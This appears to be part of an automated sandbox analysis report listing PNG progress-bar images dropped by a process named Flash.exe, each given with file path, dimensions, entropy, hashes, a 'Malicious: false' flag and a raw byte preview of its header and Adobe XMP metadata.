end="r"?>.J.O....IDATx...A..0......84..@..3.......@.u73.......@'..........@..........@..........@..........@..........@....

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\progressbar_darkgray_125.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 665 x 27, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1047
Entropy (8bit):	6.046690092424542
Encrypted:	false
SSDEEP:	24:O1hiyWwjx82lY2T37VU4yJ3VCmjGvZk67PsCY:UuNn2vqJ3dx6LsCY
MD5:	1D37FD4ABE9DED690B99E760466ABE2B
SHA1:	328120CEE682EA2ED32A3DFFAD6B9C4DB19B4331
SHA-256:	DE64E7F78BAE9244E6DD5869AC63BF611C087DA8774004CFD53EA14C02DE02C5
SHA-512:	5A780A9F70AF394CB876F7EF20595FFFD8FC0C1C650E58D06951D5F1F767D70899EB5432D3BE1F01B62EF92A866B0168B198BBB55CC198FE8EEB636648CD4DAC
Malicious:	false
Preview:	.PNG........IHDR..............*......tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)" xmpMM:InstanceID="xmp.iid:098BFCE22B1D11E8A395DB38CD661208" xmpMM:DocumentID="xmp.did:098BFCE32B1D11E8A395DB38CD661208"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:098BFCE02B1D11E8A395DB38CD661208" stRef:documentID="xmp.did:098BFCE12B1D11E8A395DB38CD661208"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>Q2......IDATx...A.. ..A \|...W.`.a&9...y2....~..G.@GU.....i9.h9...........Z..h9...........Z..h9.h9........Z..Z..h9..

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\progressbar_darkgray_150.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 780 x 32, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1079
Entropy (8bit):	6.0416093015936685
Encrypted:	false
SSDEEP:	24:LHRgZ1hiyWwjx82lY2T37V185Qs8yJ3VYEOREGysR/RpD:LHMuNn2vT8WwJ3eXeSR/Rd
MD5:	25861BD6476DC13E8ADF48440E30BA24
SHA1:	417C0A4DDE70E3B13E885CC2875CB691199BE448
SHA-256:	6F540D63C03C5E9F4081B2C16E31B16E83FB03B665D596C222CBA2BAABABADDB
SHA-512:	43FC8062D31A5B439F8F6F8554D04BE063EE39DC028E6B7FAFC9E0A07CE6A61BD814607DC3417D0B42D5871B6ABD02E6C45EE2B62DF41C8FC2495CD47F88FE25
Malicious:	false
Preview:	.PNG........IHDR....... .....0.h.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)" xmpMM:InstanceID="xmp.iid:095A8BE82B1D11E895FAEE212BDB5EA9" xmpMM:DocumentID="xmp.did:095A8BE92B1D11E895FAEE212BDB5EA9"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:095A8BE62B1D11E895FAEE212BDB5EA9" stRef:documentID="xmp.did:095A8BE72B1D11E895FAEE212BDB5EA9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>\|R......IDATx..... .CA.h....x^ TQHV.....w......WU...x$.^....I.."..@$...$..... ...D...H...I.."..@$...$..... ....I..

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\progressbar_darkgray_200.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 1024 x 60, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1229
Entropy (8bit):	5.670772892243052
Encrypted:	false
SSDEEP:	24:Vjv1hiyWwjx82lY2T37VhQviyJ3VJVGqj2LZc:HuNn2vyJ3R89c
MD5:	CD381D5BDE917AAFA4DE03B83A6E3D56
SHA1:	C44C7DA9393A7381B2A238A2A3D8AE9C81A265EC
SHA-256:	5DE3DAA690A5AF43C6D366DF869395C0F909CCB19B30A1AAC4469CA76EDFD0EC
SHA-512:	8B08722701363405B8ACE5ED921FBD779FA893C8BE888D4DA2280A93D0291C09BD83E8FB4E3B5B5AEDEE6F23B370223BF341F856A608C6C4818F6A7285BCB24B
Malicious:	false
Preview:	.PNG........IHDR.......<.....w._.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)" xmpMM:InstanceID="xmp.iid:1F951832600611E8A9549DD9A0184876" xmpMM:DocumentID="xmp.did:1F951833600611E8A9549DD9A0184876"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:1F951830600611E8A9549DD9A0184876" stRef:documentID="xmp.did:1F951831600611E8A9549DD9A0184876"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>m.0)...=IDATx.....0..A'c........\A..K........@.......yNU......d....@+........ ............@..................... .

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\progressbar_darkgray_base.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 552 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	212
Entropy (8bit):	5.185093146720118
Encrypted:	false
SSDEEP:	6:6v/lhPuohmXkQxzjT0/3/3/3/cln0ln0ln0ln0lfwdn/p:6v/7mTxzjTVl0l0l0l0lQR
MD5:	8A2E126652FA84629BA8B694BCD25A64
SHA1:	0EB353ADCC29B3C8030DA4854258AA896EC9544D
SHA-256:	B3FD3FF176377A962FDC5A94D3E2B0E70279B14FA5A0E301001B5AE87C5B4390
SHA-512:	4CDA5C0256C6C4CF92BFF1FD74A5F5B02B1B8038B417AC374A0CFD68FD62ABD42C47BCBB2C47165DF350C5CF0A369BE991F3948149E225E6C2AD2ECDD56D2E9B
Malicious:	false
Preview:	.PNG........IHDR...(.................pHYs..........+......IDATx...1..0.....6...y'.D..bF.V{=....d%..[..`...e...1(..A..0(..A..0(..A..0(..A..0(.....0(.....0(.....0(.....0(...............$m.......D.n@.V.....IEND.B`.

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\progressbar_darkgray_base_100.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 469 x 21, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15271
Entropy (8bit):	1.8452160313088866
Encrypted:	false
SSDEEP:	48:l/6DeilYk29WJsEvkHY+ldKb8LVoBd8xN+Y97sc5ey72M+1ZVO73:lSyoYkEWmFvxNX7sc51F+w73
MD5:	E60583E0C49F0D046D2CFEF1179A8390
SHA1:	0B135A9B5145F3CFECE8B1E250374CC36D1062B6
SHA-256:	E90F2CD8CA1D0FEB9A8C73908CA021B085816A9F469C4B4CA07C12F1996C7A59
SHA-512:	A5A4F52243F8E12C83C8B93D38BEF532CE842B33F75C54FC35E37C1BB6B15C035BB926D9FA2BDD200BD13C64AC478983C9D4A64DB1E5B39C347A22104BE338AE
Malicious:	false
Preview:	.PNG........IHDR..............&t.....pHYs...............9.iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?>.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c014 79.156797, 2014/08/20-09:53:02 ">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/". xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#". xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#". xmlns:xmp="http://ns.adobe.com/xap/1.0/". xmlns:dc="http://purl.org/dc/elements/1.1/". xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/". xmlns:tiff="http://ns.adobe.com/tiff/1.0/". xmlns:exif="http://ns.adobe.com/exif/1.0/">. <xmpMM:OriginalDocumentID>xmp.did:d310b992-d270-4e81-a192-9dd67f063430</xmpMM:OriginalDocumentID>. <xmpMM:DocumentID>xmp.did:4795134350A411

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\progressbar_darkgray_base_200.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 938 x 42, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15718
Entropy (8bit):	2.093683853279598
Encrypted:	false
SSDEEP:	48:Lnt/6DeilYk29WJsEvkHY2c0ldKb8LCcjogERxN+Y97sc5ZT7b55CdptFVCX8PhQ:ZSyoYkEWmFFc/c2xNX7sc55bDChmsQ
MD5:	CD614F26DD67507EF8C17E5A3133A45E
SHA1:	E2561CA51CCA6CAB76C8F5EB0F12ED1F26E52D15
SHA-256:	30558D6E8D8F862D10D1DF81DBB6C54503F3ADE7DD134DC2CE1E3F0AC9C4D0BC
SHA-512:	3581FA40BF869C94AB3BDD7A72476B21B3FE2FE7DBF2D9157086829677471E6C4E7ADF1A647A769A5010505E591A99EE3239587E8D8314CF6E058CFE9A0EAC84
Malicious:	false
Preview:	.PNG........IHDR.......*......$.[....pHYs...............9.iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?>.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c014 79.156797, 2014/08/20-09:53:02 ">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/". xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#". xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#". xmlns:xmp="http://ns.adobe.com/xap/1.0/". xmlns:dc="http://purl.org/dc/elements/1.1/". xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/". xmlns:tiff="http://ns.adobe.com/tiff/1.0/". xmlns:exif="http://ns.adobe.com/exif/1.0/">. <xmpMM:OriginalDocumentID>xmp.did:d310b992-d270-4e81-a192-9dd67f063430</xmpMM:OriginalDocumentID>. <xmpMM:DocumentID>xmp.did:4795133F50A411

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\progressbar_pole_null.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 550 x 22, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	276
Entropy (8bit):	6.187078036866796
Encrypted:	false
SSDEEP:	6:6v/lhPqhmvkfUNJym5WtqZV7lk4dwDG5tDlrOeo8/29e5kZSjDOp:6v/7/zj59JjrNo8J52
MD5:	431070F2FF07A9754BBA9E995B1B7205
SHA1:	3487AE761778601AD54D16E1CC73D8ED7C979CD8
SHA-256:	5312424BAF3C6724BE5ECE65C3CCE1609F5D0F1E2A36E41975355D62727B5AA5
SHA-512:	876A00B0936EAAC7C3F95EDFC2A731AA921D98E6B029B0524F09170A856F7E034492EC3D9E631E573BE1A0612D99DAA8BEDE66F309842A27383D642AADA455FB
Malicious:	false
Preview:	.PNG........IHDR...&..........+W.....pHYs..........+......IDATx.....P..P..^.;{Q..%......*..A.q.^.}w...ptw<.....V.u..QU...l..qTUt[s....Jc.....`.......&...@0....&...`D0Yk.&..vk-S..0........&..n.r..Y....L`....0........`b.........0".TUt.k..[U.19..5...23.l.....=....IEND.B`.

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\progressbar_pole_null_100.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 469 x 21, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4006
Entropy (8bit):	7.7061956531048965
Encrypted:	false
SSDEEP:	96:xk2UD9C4cfrisM3CtXOKGKMifbU77frXKtKis:xA9C4JsMaaKMaU7H6Iz
MD5:	864C92E2AD1CCBE672119BFD82DD128F
SHA1:	79F76150628D2775CA0896FAEEE778DA9538533C
SHA-256:	E299AEA7584E17F41D1EE2BAE28F491A26CB7E7D4B95B366D485C300D06D3BAB
SHA-512:	12B968B5BA605D04CC2C967DF12A8D03A73478AE77443CEC20E547C12189E3E661A82E07CD40AB56F3941E37809BC690708C7479F64B9CF0059B820A588F93BA
Malicious:	false
Preview:	.PNG........IHDR..............&t.....tEXtSoftware.Adobe ImageReadyq.e<...(iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c014 79.156797, 2014/08/20-09:53:02 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2014 (Macintosh)" xmpMM:InstanceID="xmp.iid:BE40EF6756F011E49982F9FD4AE2C288" xmpMM:DocumentID="xmp.did:BE40EF6856F011E49982F9FD4AE2C288"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:138771F856F011E49982F9FD4AE2C288" stRef:documentID="xmp.did:BE40EF6656F011E49982F9FD4AE2C288"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>27K.....IDATx..;o\...w..7..K\|.........`()..T.A..@R)....X.L.T*........)..%...\|S9........,a_.B.......3w...-/.

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\progressbar_pole_null_125.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 586 x 26, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	17542
Entropy (8bit):	7.948114370250419
Encrypted:	false
SSDEEP:	384:iJXE05JIf/2oqt5dWebFm6rCvQbJ+6Xi3E8ueIuE+x1Fmz:S35JIfeh5d9hC6+h3EOZmz
MD5:	566E1E4BC5914CDC4AADAB38A9C637BA
SHA1:	09462221E91CE30669AB09FDD613D16E3906A8CD
SHA-256:	2B268037A8D69346D4FE413D19874DA3C91260B265357129EB8310CB1A0E6401
SHA-512:	4D88028503B851897608745E9D85B6B96B32701FE9FF8E5A9825100235A62D85F7C35379AE6AD6696DF93842C6676DF70010A96CD94FC7A5C79C9F79C3169FE4
Malicious:	false
Preview:	.PNG........IHDR...J.........H2sG....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\progressbar_pole_null_150.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 704 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	19025
Entropy (8bit):	7.953390283515495
Encrypted:	false
SSDEEP:	384:4JXE054wd0iiQWVm6Dra/Dx0oabj8BzAYa0oEAXpPwRZMN5/Tk/i+:E354wd0iGQkaLx0hbj8Dyp4RS5LN+
MD5:	8125AE6D5A5FB78C5B13C84A221AC120
SHA1:	C08EF525B815E282DEE44CBB809E1EEDD09BFF3A
SHA-256:	7817B734D26F6C3EA8E1C22E1DEDE8BE8C7F711C1924D2B3BA2AE5346C7F526D
SHA-512:	BF11C87713314A6732A2CD00E137078A28AE827EAF1128817D4CB7BD2836930050ED3355BF3AF7979E8199DAB62EAD311314F831B85857CB4EDC8C39A25DF5B7
Malicious:	false
Preview:	.PNG........IHDR....... ........D....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\progressbar_pole_null_200.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 938 x 42, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	8079
Entropy (8bit):	7.832542660896185
Encrypted:	false
SSDEEP:	192:V9Re03MEaczLw7jZe290sKruwPVSclaAlf+RCAaWY:nRNMBJ7jZe2hKrusVM3CA1Y
MD5:	CB231F0311D26F6EC4FAA626F826F14B
SHA1:	90731FAF98307EACE4CA024E43CF912BBC461864
SHA-256:	0AF4A194FBC1A6E78552F299348F0D60D5B2B9AB014E41A56E57D46AB18DC889
SHA-512:	5FBA8C6D81063D9A8229F4D9DACACF1671A052F6DDC8B08F324E42895F4D760217788873685C86AED7E1DFFBE88EC151CC76895CBBBE499FF6B416D3088B0246
Malicious:	false
Preview:	.PNG........IHDR.......*......$.[....tEXtSoftware.Adobe ImageReadyq.e<...(iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c014 79.156797, 2014/08/20-09:53:02 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2014 (Macintosh)" xmpMM:InstanceID="xmp.iid:BE40EF6B56F011E49982F9FD4AE2C288" xmpMM:DocumentID="xmp.did:BE40EF6C56F011E49982F9FD4AE2C288"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:BE40EF6956F011E49982F9FD4AE2C288" stRef:documentID="xmp.did:BE40EF6A56F011E49982F9FD4AE2C288"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...@....IDATx....ez........ff.+..Y$..M$$"1.L6......D..d...".X3.."..,.HF...."....".E2`\|i..v.ovw.8...}.m.z.O

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\progressbar_poll_100.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 512 x 30, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	6.271898451597314
Encrypted:	false
SSDEEP:	24:T1hiyWwjx82lY2T37VmjG1LyJ3VSMjTbGJcF9Uva0Dc:ZuNn2vCG8J3n3HF9v2c
MD5:	B9F74008DBBAD17783BDED9AB4E85614
SHA1:	D4037711222F8DA8E644CA8BA8B06919E56A59F8
SHA-256:	42F68A2440A3AB803ABAC97FD18C3C1AB24EBB6226A149D8A67E565126CB1F7C
SHA-512:	4ECDA64D20B5267DC866BDC742FB27CA40314196A3A16C8591621075D7F8F9F524F35CA36FB75BF4677DC7F8129457E81D0A1634C486E78DC76EFB1665B490E7
Malicious:	false
Preview:	.PNG........IHDR.............Z;.8....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)" xmpMM:InstanceID="xmp.iid:831B361C600711E8A9EF9F94CDA40822" xmpMM:DocumentID="xmp.did:831B361D600711E8A9EF9F94CDA40822"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:831B361A600711E8A9EF9F94CDA40822" stRef:documentID="xmp.did:831B361B600711E8A9EF9F94CDA40822"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>4'......IDATx......@..P..@.4!%amR..(.e.......H.8...L...m..R)..X..Q.@..u-g.8.c...D. .i.~.@k.\|...}.m..........p...$.

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\progressbar_poll_125.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 665 x 27, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1127
Entropy (8bit):	6.319283904515476
Encrypted:	false
SSDEEP:	24:O1hiyWwjx82lY2T37Vj/tKr+yJ3VjvKryG0lETAGVGf12s:UuNn2vVOJ3BhaTAl12s
MD5:	78C2C4B7A21C80028103021344EAAF6C
SHA1:	47CB4487AECB8117B63F11FA1882CBCA8275A708
SHA-256:	77AF1CDAA8D53B4629FA1D60D60394109D4C0B53FE96EB82A8059E3FA93C987F
SHA-512:	AFEB0583644F13F069B2600B2B9B4556A3CAB3EA1A29722B7BADA7CCCAC2B842156EA2DBC51A2D6E7A88A550E98F578C87FD667C561C4815155D2FDFDE012D1A
Malicious:	false
Preview:	.PNG........IHDR..............*......tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)" xmpMM:InstanceID="xmp.iid:BC85E91A2B1C11E8B97CB431ABA937C9" xmpMM:DocumentID="xmp.did:BC85E91B2B1C11E8B97CB431ABA937C9"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:BC85E9182B1C11E8B97CB431ABA937C9" stRef:documentID="xmp.did:BC85E9192B1C11E8B97CB431ABA937C9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>vu......IDATx......1.E.....\..u.v".. ...L..<$..{....b]{.9.A.@.....1..HT.?{...@...iy1..Hm.ZK.. Tu.....r7v..n..;..:7v

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\progressbar_poll_150.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 780 x 32, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1163
Entropy (8bit):	6.213110318976984
Encrypted:	false
SSDEEP:	24:LHRgZ1hiyWwjx82lY2T37VrOTKTFyJ3VrfKTpeGciiHIRHU3/4Ob:LHMuNn2vJV0J3JUAXi0IRwwA
MD5:	3FFD14AAE459394510B32DDB024EA8E0
SHA1:	B424C150F75E2CDF46BF284A1183342C2C14C5C9
SHA-256:	260FD673DB9FD22D2B4E7DAB3759D5D65FD30202F87ECAB66C1493D4BEF0CE84
SHA-512:	DD9A2F3882C41D9AFCEAD10B65B0AC24CD8973AE28C4311ACB2DC81B9F3F2A2066535C4BB2CD7FF3D389643BB288933607A1D71D9357797E3849A86B34A6728E
Malicious:	false
Preview:	.PNG........IHDR....... .....0.h.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)" xmpMM:InstanceID="xmp.iid:BBE9F4F12B1C11E8B1CB9F9B33602FDB" xmpMM:DocumentID="xmp.did:BBE9F4F22B1C11E8B1CB9F9B33602FDB"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:BBE9F4EF2B1C11E8B1CB9F9B33602FDB" stRef:documentID="xmp.did:BBE9F4F02B1C11E8B1CB9F9B33602FDB"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.oxV....IDATx......@.D...k.g....<CX.2...S......u]_....Zk.9..@.,.t.Gu.[..t.H.$......,I...sI.I..9..[....dI....dI....

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\progressbar_poll_200.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 1024 x 60, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1436
Entropy (8bit):	5.957848888921318
Encrypted:	false
SSDEEP:	24:W1hiyWwjx82lY2T37VChiyJ3VZ3G30NBEsNl/gLu+RDhz:cuNn2vAJ3PC0ToLvHz
MD5:	A405824FA461BA61E0187F97C598B374
SHA1:	0C8D968ECAC58DD920A548D21556E51B5F81FCC3
SHA-256:	CCEDAC1E4A447D8A525903EC20CE5826CE5DC79CC1B54FD38137A6121D8C8759
SHA-512:	91D7D32DE82F09260040171304ECE1594A1203D52EDEB3AC79BD4793BB2030B8A60BE0F5595AD2B747376B3D8224BA8ABE11FCAF3A01DF0205F61B5ABEAA03DA
